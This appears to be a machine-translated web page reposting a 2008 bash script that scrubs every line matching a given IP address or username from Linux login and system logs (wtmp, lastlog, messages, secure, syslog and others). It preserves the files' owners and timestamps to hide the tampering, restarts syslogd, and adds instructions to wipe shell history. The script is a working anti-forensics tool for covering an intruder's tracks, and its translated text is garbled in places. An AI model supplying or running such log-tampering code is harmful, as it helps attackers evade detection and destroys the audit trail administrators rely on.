Linux diary clearing script

Source: Internet
Author: User
Tags syslog
#! /Bin/bashecholinuxclearlogecho & nbsp; the byknlve2008-08-29echo # & nbsp; chmod777log #. /lo

#! /Bin/bash
Echo "linux clear log"
Echo "by knlve 2008-08-29"
Echo "=================================="
# Chmod 777 log
#./Log xx. xx And./log root

If [-f "/var/log/wtmp"]; then
Cat/var/log/wtmp | grep-v $1>/var/log/temp1;
Chgrp -- reference/var/log/wtmp/var/log/temp1;
Chown -- reference/var/log/wtmp/var/log/temp1;
Touch-r/var/log/wtmp/var/log/temp1;
Mv-f/var/log/temp1/var/log/wtmp;
Fi
If [-f "/var/log/lastlog"]; then
Cat/var/log/lastlog | grep-v $1>/var/log/temp2;
Chgrp -- reference/var/log/lastlog/var/log/temp2;
Chown -- reference/var/log/lastlog/var/log/temp2;
Touch-r/var/log/lastlog/var/log/temp2;
Mv-f/var/log/temp2/var/log/lastlog;
Fi
If [-f "/var/log/messages"]; then
Cat/var/log/messages | grep-v $1>/var/log/temp3;
Chgrp -- reference/var/log/messages/var/log/temp3;
Chown -- reference/var/log/messages/var/log/temp3;
Touch-r/var/log/messages/var/log/temp3;
Mv-f/var/log/temp3/var/log/messages;
Fi
If [-f "/var/log/utmp"]; then
Cat/var/log/utmp | grep-v $1>/var/log/temp4;
Chgrp -- reference/var/log/utmp/var/log/temp4;
Chown -- reference/var/log/utmp/var/log/temp4;
Touch-r/var/log/utmp/var/log/temp4;
Mv-f/var/log/temp4/var/log/utmp;
Fi
If [-f "/var/log/wtmpx"]; then
Cat/var/log/wtmpx | grep-v $1>/var/log/temp5;
Chgrp -- reference/var/log/wtmpx/var/log/temp5;
Chown -- reference/var/log/wtmpx/var/log/temp5;
Touch-r/var/log/wtmpx/var/log/temp5;
Mv-f/var/log/temp5/var/log/wtmpx;
Fi if [-f "/var/log/utmpx"]; then
Cat/var/log/utmpx | grep-v $1>/var/log/temp6;
Chgrp -- reference/var/log/utmpx/var/log/temp6;
Chown -- reference/var/log/utmpx/var/log/temp6;
Touch-r/var/log/utmpx/var/log/temp6;
Mv-f/var/log/temp6/var/log/utmpx;
Fi
If [-f "/var/log/syslog"]; then
Cat/var/log/syslog | grep-v $1>/var/log/temp7;
Chgrp -- reference/var/log/syslog/var/log/temp7;
Chown -- reference/var/log/syslog/var/log/temp7;
Touch-r/var/log/syslog/var/log/temp7;
Mv-f/var/log/temp7/var/log/syslog;
Fi
If [-f "/var/log/secure"]; then
Cat/var/log/secure | grep-v $1>/var/log/temp8;
Chgrp -- reference/var/log/secure/var/log/temp8;
Chown -- reference/var/log/secure/var/log/temp8;
Touch-r/var/log/secure/var/log/temp8;
Mv-f/var/log/temp8/var/log/secure;
Fi
/Usr/bin/killall-HUP syslogd;
Echo "Clear log is success!
# Rm-fr log

============================================

For some reason, it is clear in the script that the history is always not perfect. After the script is executed,
Execute clear history manually:
History-w
History-c


Script usage chmod 777 log &./log ip or./log root

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.